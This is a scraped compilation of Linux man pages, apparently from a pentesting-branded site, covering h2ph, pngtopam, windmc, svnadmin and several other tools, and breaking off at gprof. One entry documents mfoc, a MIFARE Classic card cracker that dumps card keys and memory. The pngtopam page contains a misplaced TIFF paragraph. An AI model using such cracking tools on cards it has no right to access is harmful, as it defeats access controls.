h2ph [-d destination directory] [-r | -a] [-l] [-h] [-e] [-D] [-Q] [headerfiles]

DESCRIPTION

h2ph converts any C header files specified to the corresponding Perl header file format. It is most easily run while in /usr/include:

cd /usr/include; h2ph * sys/*

or

cd /usr/include; h2ph * sys/* arpa/* netinet/*

or

cd /usr/include; h2ph -r -l .

The output files are placed in the hierarchy rooted at Perl’s architecture dependent library directory. You can specify a different hierarchy with a -d switch.

If run with no arguments, filters standard input to standard output.

OPTIONS

-d destination_dir
Put the resulting .ph files beneath destination_dir, instead of beneath the default Perl library location ($Config{installsitearch}).

-r
Run recursively; if any of headerfiles are directories, then run h2ph on all files in those directories (and their subdirectories, etc.). -r and -a are mutually exclusive.

-a
Run automagically; convert headerfiles, as well as any .h files which they include. This option will search for .h files in all directories which your C compiler ordinarily uses. -a and -r are mutually exclusive.

-l
Symbolic links will be replicated in the destination directory. If -l is not specified, then links are skipped over.

-h
Put ‘hints’ in the .ph files which will help in locating problems with h2ph. In those cases when you require a .ph file containing syntax errors, instead of the cryptic [ some error condition ] at (eval mmm) line nnn you will see the slightly more helpful [ some error condition ] at filename.ph line nnn However, the .ph files almost double in size when built using -h.

-e
If an error is encountered during conversion, output file will be removed and a warning emitted instead of terminating the conversion immediately.

-D
Include the code from the .h file as a comment in the .ph file. This is primarily used for debugging h2ph.

-Q
‘Quiet’ mode; don’t print out the names of the files being converted.

ENVIRONMENT

No environment variables are used.

FILES

/usr/include/*.h /usr/include/sys/*.h

etc.

AUTHOR

Larry Wall

SEE ALSO

perl (1)

DIAGNOSTICS

The usual warnings if it can’t read or write the files involved.

BUGS

Doesn’t construct the %sizeof array for you.

It doesn’t handle all C constructs, but it does attempt to isolate definitions inside evals so that you can get at the definitions that it can translate.

It’s only intended as a rough tool. You may need to dicker with the files produced.

You have to run this program by hand; it’s not run as part of the Perl installation.

Doesn’t handle complicated expressions built piecemeal, a la:

enum { FIRST_VALUE, SECOND_VALUE, #ifdef ABC THIRD_VALUE #endif };

Doesn’t necessarily locate all of your C compiler’s internally-defined symbols.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1037 - Linux cli command pdb2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdb2 and provides detailed information about the command pdb2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdb2.

NAME 🖥️ pdb2 🖥️

the Python debugger

SYNOPSIS

pdb2.7 script […]

DESCRIPTION

See /usr/lib/python2.7/pdb.doc for more information on the use of pdb. When the debugger is started, help is available via the help command.

SEE ALSO

python2.7(1). Chapter 9 of the Python Library Reference (The Python Debugger). Available in the python2.7-doc package at /usr/share/doc/python2.7/html/lib/module-pdb.html.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1038 - Linux cli command sensible-terminal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sensible-terminal and provides detailed information about the command sensible-terminal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sensible-terminal.

NAME 🖥️ sensible-terminal 🖥️

terminal - sensible terminal emulator

SYNOPSIS

sensible-terminal [-Ttitle][–wait][-ecmd…]

DESCRIPTION

sensible-terminal-emulator makes sensible decisions on which terminal emulator to call. Programs in Debian can use this script as their default terminal emulator or emulate their behavior. TERMINAL_EMULATOR environment variable could be set, and will be used if set. Any string acceptable as a command_string operand to the sh -c command shall be valid.

STANDARD

Documentation of behavior of sensible-utils under a debian system is available under sections 11.4-11.8 of debian-policy usually installed under /usr/share/doc/debian-policy (you might need to install debian-policy)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1039 - Linux cli command x86_64-w64-mingw32-windmc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-windmc and provides detailed information about the command x86_64-w64-mingw32-windmc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-windmc.

NAME 🖥️ x86_64-w64-mingw32-windmc 🖥️

generates Windows message resources

SYNOPSIS

windmc [options] input-file

DESCRIPTION

windmc reads message definitions from an input file (.mc) and translate them into a set of output files. The output files may be of four kinds:

“h”
A C header file containing the message definitions.

“rc”
A resource file compilable by the windres tool.

“bin”
One or more binary files containing the resource data for a specific message language.

“dbg”
A C include file that maps message id’s to their symbolic name.

The exact description of these different formats is available in documentation from Microsoft.

When windmc converts from the mc format to the bin format, rc, h, and optional dbg it is acting like the Windows Message Compiler.

OPTIONS

-a

–ascii_in

Specifies that the input file specified is ASCII. This is the default behaviour.

-A

–ascii_out

Specifies that messages in the output bin files should be in ASCII format.

-b

–binprefix

Specifies that bin filenames should have to be prefixed by the basename of the source file.

-c

–customflag

Sets the customer bit in all message id’s.

-C codepage

–codepage_in codepage

Sets the default codepage to be used to convert input file to UTF16. The default is ocdepage 1252.

-d

–decimal_values

Outputs the constants in the header file in decimal. Default is using hexadecimal output.

-e ext

–extension ext

The extension for the header file. The default is .h extension.

-F target

–target target

Specify the BFD format to use for a bin file as output. This is a BFD target name; you can use the –help option to see a list of supported targets. Normally windmc will use the default format, which is the first one listed by the –help option.

-h path

–headerdir path

The target directory of the generated header file. The default is the current directory.

-H

–help

Displays a list of command-line options and then exits.

-m characters

–maxlength characters

Instructs windmc to generate a warning if the length of any message exceeds the number specified.

-n

–nullterminate

Terminate message text in bin files by zero. By default they are terminated by CR/LF.

-o

–hresult_use

Not yet implemented. Instructs windmc to generate an OLE2 header file, using HRESULT definitions. Status codes are used if the flag is not specified.

-O codepage

–codepage_out codepage

Sets the default codepage to be used to output text files. The default is ocdepage 1252.

-r path

–rcdir path

The target directory for the generated rc script and the generated bin files that the resource compiler script includes. The default is the current directory.

-u

–unicode_in

Specifies that the input file is UTF16.

-U

–unicode_out

Specifies that messages in the output bin file should be in UTF16 format. This is the default behaviour.

-v

–verbose

Enable verbose mode.

-V

–version

Prints the version number for windmc.

-x path

–xdgb path

The path of the dbg C include file that maps message id’s to the symbolic name. No such file is generated without specifying the switch.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1040 - Linux cli command pngtopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pngtopam and provides detailed information about the command pngtopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pngtopam.

.

NAME 🖥️ pngtopam 🖥️

convert a PNG image into a Netpbm image

SYNOPSIS

pngtopam [-verbose] [-alphapam | -alpha | -mix] [-background=color] [-gamma=value] [-text=filename] [-time] [-byrow] [pngfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pngtopam reads a PNG image (Portable Network Graphics) as input and produces a Netpbm image as output. The type of the output file depends on the input file - if it’s black & white, pngtopam creates a PBM file. If it’s grayscale, pngtopam creates a PGM file. Otherwise, it creates a PPM file. Except that with the -alphapam option, it always creates a PAM file. That file has tuple type GRAYSCALE_ALPHA or RGB_ALPHA depending on whether the input has color or not.

To convert in the other direction, use pamtopng or pnmtopng. The former is the more modern of the two and can recognize transparency information in a PAM file, as you might generate with pngtopam -alphapam. It has existed only since June 2015. The latter has more features, but probably not ones that matter in the modern world.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pngtopam recognizes the following command line options:

-verbose
Display various information about the input PNG image and the conversion process.

If you want even more information about the PNG image, use pngcheck (not part of Netpbm).

-alphapam
Produce a single output image containing the main image (foreground) and the transparency channel or transparency mask. This image is in the PAM format with tuple type of either GRAYSCALE_ALPHA (which has a depth of 2 channels) or RGB_ALPHA (which has a depth of 4 channels).

You can specify only one of -alphapam, -alpha, and -mix. With none of them, pngtopam produces an image of the foreground of the input image and discards transparency information.

This option was new in Netpbm 10.44 (September 2008).

-alpha
Output the transparency channel or transparency mask of the image. The result is either a PBM file or a PGM file, depending on whether different levels of transparency appear.

pngtopam discards the main image (the foreground).

You can specify only one of -alphapam, -alpha, and -mix. With none of them, pngtopam produces an image of the foreground of the input image and discards transparency information.

-mix
Compose the image with the transparency or transparency mask against a background. The background color is determined by the bKGD chunk in the PNG, except that you can override it with -background. If the PNG has no bKGD chunk and you don’t specify -background, the background color is white.

You can specify only one of -alphapam, -alpha, and -mix. With none of them, pngtopam produces an image of the foreground of the input image and discards transparency information.

**-background=**color
This option specifies the background color with which to mix the image when you specify -mix.

color is as described for the argument of the pnm_parsecolor() library routine .

Examples:

  • -background=rgb:01/ff/80

  • -background=rgbi:1/255/128

If you don’t specify -background, the background color is what is specified in the PNG image, and if the PNG doesn’t specify anything, white.

You cannot specify -background unless you also specify -mix. Before Netpbm 10.27 (March 2005), you could specify -background without -mix and it was just ignored. (This caused a usability problem).

**-gamma=**value
This option causes pngtopam to respect the image gamma information in the PNG file (from the gAMA chunk). Probably by historical accident, pngtopam ignores that information by default, assuming the image uses the same gamma transformation as a Netpbm image, so the output image has different colors than the PNG file actually represents if the PNG doesn’t actually do that. (However, it is rare for a PNG file to use a gamma transformation different from what the Netpbm formats specify, or if it does, to specify with a gAMA chuck what that is).

But when you do specify -gamma, you get a rather strange additional function, probably a historical mistake: pngtopam incorporates the specified screen gamma value into the output pixels, so that the samples in the Netpbm output deviate from the Netpbm format specifications and are appropriate raw intensity values to send to the display. This function essentially just exercises the ability of the PNG library to make gamma corrections to the pixels as it reads them from the PNG file to produce values appropriate for sending to a certain display in certain viewing conditions. It’s a strange function because it has nothing to do with PNG and because in Netpbm, the normal way to make gamma corrections appropriate for sending to a ceratin display in certain viewing conditions is with the program pngtopam, applied to the normal output of pngtopam.

If you specify -gamma, but the PNG image does not specify what gamma transformation it uses (there is no gAMA chunk), pngtopam assumes a simple power transformation with an image gamma of 1.0. That is probably not not the actual image gamma; it is much more likely to be .45.

Because the gammas of uncompensated monitors are around 2.6, which results in an image-gamma of 0.45, some typical situations are: when the image-gamma is 0.45 (use -verbose to check) and the picture is too light, your system is gamma-corrected, so convert with “-gamma 1.0”. When no gAMA chunk is present or the image-gamma is 1.0, use 2.2 to make the picture lighter and 0.45 to make the picture darker.

One oddity to be aware of when using -gamma on an image with transparency: The PNG image specifies that a certain color is transparent, i.e. every pixel in the image of that color is transparent. But pngtopam interprets this as applying to the gamma-corrected space, and there may be less precision in that space than in the original, which means multiple uncorrected colors map to the same corrected color. So imagine that the image contains 3 shades of white (gray) and specifies that one of them is transparent. After gamma correction, those three shades are indistinguishable, so pngtopam considers pixels of all three shades to be transparent.

**-text=**file
Writes the tEXt and zTXt chunks to a file, in a format as described in the pnmtopng user manual. These chunks contain text comments or annotations.

-time
Prints the tIME chunk to stderr.

-byrow
This option can make pngtopam run faster or in environments where it would otherwise fail.

pngtopam has two ways to do the conversion from PNG to PAM, using respectively two facilities of the PNG library:

Whole Image
Decode the entire image into memory at once, using png_read_image(), then convert to PAM and output row by row.

Row By Row
Read, convert, and output one row at a time using png_read_row().

Whole Image is generally preferable because the PNG library does more of the work, which means it understands more of the PNG format possibilities now and in the future. Also, if the PNG is interlaced, pngtopam does not know how to assemble the rows in the right order.

Row By Row uses far less memory, which means with large images, it can run in environments where Whole Image cannot and may also run faster. And because Netpbm code does more of the work, it’s possible that it can be more flexible or at least give better diagnostic information if there’s something wrong with the PNG.

The Netpbm native code may do something correctly that the PNG library does incorrectly, or vice versa.

In Netpbm, we stress function over performance, so by default pngtopam uses Whole Image. You can select Row By Row with -byrow if you want the speed or resource requirement improvement.

-byrow was new in Netpbm 10.54 (March 2011).

-orientraw
A TIFF stream contains raster data which can be arranged in the stream various ways. Most commonly, it is arranged by rows, with the top row first, and the pixels left to right within each row, but many other orientations are possible.

The common orientation is the same on the Netpbm formats use, so tifftopnm can do its jobs quite efficiently when the TIFF raster is oriented that way.

But if the TIFF raster is oriented any other way, it can take a considerable amount of processing for tifftopnm to convert it to Netpbm format.

SEE ALSO

pamtopng(1) , pnmtopng(1) , pngtopnm(1) , ptot, pnmgamma(1) , pnm(1)

For information on the PNG format, see http://schaik.com/png .

NOTE

A PNG image contains a lot of information that can’t be represented in Netpbm formats. Therefore, you lose information when you convert to another format with “pngtopam | pnmtoxxx”. If there is a specialized converter that converts directly to the other format, e.g. ptot to convert from PNG to TIFF, you’ll get better results using that.

LIMITATIONS

There could be an option to include PNG comment chunks in the output image as PNM comments instead of putting them in a separate file.

The program could be much faster, with a bit of code optimizing. As with any Netpbm program, speed always takes a back seat to quick present and future development.

HISTORY

pngtopam was new in Netpbm 10.44, as a replacement for pngtopnm. The main improvement over pngtopnm was that it could generate a PAM image with a transparency channel, whereas with pngtopnm, you would have to extract the transparency channel as a separate file, in a separate run.

pngtopnm was new in Netpbm 8.1 (March 2000), the first big change to the package in Netpbm’s renaissance. It and pnmtopng were simply copied from the " pnmtopng package" (1) by Greg Roelofs. Those were based on simpler reference applications by Alexander Lehmann <[email protected]> and Willem van Schaik <[email protected]> and distributed with their PNG library.

Nearly all of the code has changed since it was copied from the pnmtopng package, most of it just to improve maintainability.

AUTHORS

Copyright (C) 1995-1997 by Alexander Lehmann and Willem van Schaik.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pngtopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1041 - Linux cli command svnadmin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svnadmin and provides detailed information about the command svnadmin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svnadmin.

NAME 🖥️ svnadmin 🖥️

Subversion repository administration tool

SYNOPSIS

svnadmin command /path/to/repos [options] [args]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svnadmin help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1042 - Linux cli command pbmtolps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtolps and provides detailed information about the command pbmtolps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtolps.

.

NAME 🖥️ pbmtolps 🖥️

convert PBM image to PostScript

SYNOPSIS

pbmtolps [-dpi=n] [pbmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtolps reads a PBM image as input and outputs PostScript. The output Postscript uses lines instead of the image operator to generate a (device dependent) picture which will be imaged much faster.

pnmtops is a more general program for converting from the Netpbm formats to Postscript, though it cannot produce the particular arcane subformat that pbmtolps does.

One pixel of the input image corresponds to one printed pixel (‘dot’). For this to work, you must use a -dpi option to tell pmtolps the resolution of the target printer, in dots per inch.

The Postscript program pbmtolps generates draws paths of less than 1000 segments so as not to overrun limits on the Apple Laserwriter and possibly other printers.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtolps recognizes the following command line option:

**-dpi=**n
The resolution of the target printer, in dots per inch.

SEE ALSO

pnmtops(1) , pstopnm(1) , pbmtoepsi(1) , psidtopgm(1) , gs, pbm(1) ,

AUTHOR

George Phillips <[email protected]>

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtolps.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1043 - Linux cli command mfoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mfoc and provides detailed information about the command mfoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mfoc.

NAME 🖥️ mfoc 🖥️

MIFARE Classic offline cracker

SYNOPSIS

mfoc [ -h ] [ -k KEY ]… [ -O FILE ] [ -P NUM ] [ -T NUM ]

DESCRIPTION

This manual page documents briefly the mfoc command.

mfoc is a program that cracks the encryption of a MIFARE Classic chip and dumps the chip’s keys and decrypted memory contents to a file. To run it you need to have access to an NFC reader and, of course, a card equipped with a MIFARE Classic chip.

OPTIONS

A summary of options is included below.

-h
Show summary of options.

-k KEY
Initially try KEY in addition to the default keys.

-O FILE
Dump card contents to FILE.

-P NUM
Probe each sector up to NUM times. Default is 20.

-T NUM
Set half the range for a possible distance tolerance to NUM. Default is 20 (for a total range of 40).

AUTHOR

mfoc was written by Norbert Szetei and Pavol Luptak with contributions by others.

This manual page was written by Thomas Hood <[email protected]>. MIFARE is a trade mark of NXP bv, Netherlands.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1044 - Linux cli command make-first-existing-target

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command make-first-existing-target and provides detailed information about the command make-first-existing-target, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the make-first-existing-target.

NAME 🖥️ make-first-existing-target 🖥️

first-existing-target - runs make on one of several targets

SYNOPSIS

make-first-existing-target [-c cmd] target1 [target2 …] Ω- [make-options]

DESCRIPTION

The design of make (1) causes difficulty when you know that a Makefile probably has one of several standardized target names, and want build machinery to run exactly one of them, propagating any errors. make (1) will exit 2 if a target does not exist, but an existing target may also exit 2 due to some other failure. Makefiles cannot be reliably parsed to find targets by anything less Turing-complete than make, and make itself does not provide a way to enumerate the targets in a Makefile. It may not even be possible to enumerate the targets in a Makefile without executing part of it. (Proof of this is left as an exercise for the reader.)

This program avoids the problems described above, by attempting to call each specified target in turn, until it observes make actually doing something for one of them.

OPTIONS

-c cmd
This can be used to specify the make command to run. Default is make.

EXIT STATUS

The exit status is 0 if at least one target existed and was successfully run, and nonzero otherwise.

AUTHOR

Joey Hess <[email protected]>

LICENSE

Same as GNU make.

SEE ALSO

make (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1045 - Linux cli command x86_64-w64-mingw32ucrt-gprof

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-gprof and provides detailed information about the command x86_64-w64-mingw32ucrt-gprof, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-gprof.

NAME 🖥️ x86_64-w64-mingw32ucrt-gprof 🖥️

display call graph profile data

SYNOPSIS

gprof [ -[abcDhilLrsTvwxyz] ] [ -[ABCeEfFJnNOpPqQRStZ][name] ] [ -I dirs ] [ -d[num] ] [ -k from/to ] [ -m min-count ] [ -R map_file ] [ -t table-length ] [ –[no-]annotated-source[=name] ] [ –[no-]exec-counts[=name] ] [ –[no-]flat-profile[=name] ] [ –[no-]graph[=name] ] [ –[no-]time=name] [ –all-lines ] [ –brief ] [ –debug[=level] ] [ –function-ordering ] [ –file-ordering map_file ] [ –directory-path=dirs ] [ –display-unused-functions ] [ –file-format=name ] [ –file-info ] [ –help ] [ –line ] [ –inline-file-names ] [ –min-count=n ] [ –no-static ] [ –print-path ] [ –separate-files ] [ –static-call-graph ] [ –sum ] [ –table-length=len ] [ –traditional ] [ –version ] [ –width=n ] [ –ignore-non-functions ] [ –demangle[=STYLE] ] [ –no-demangle ] [–external-symbol-table=name] [ image-file ] [ profile-file … ]

DESCRIPTION

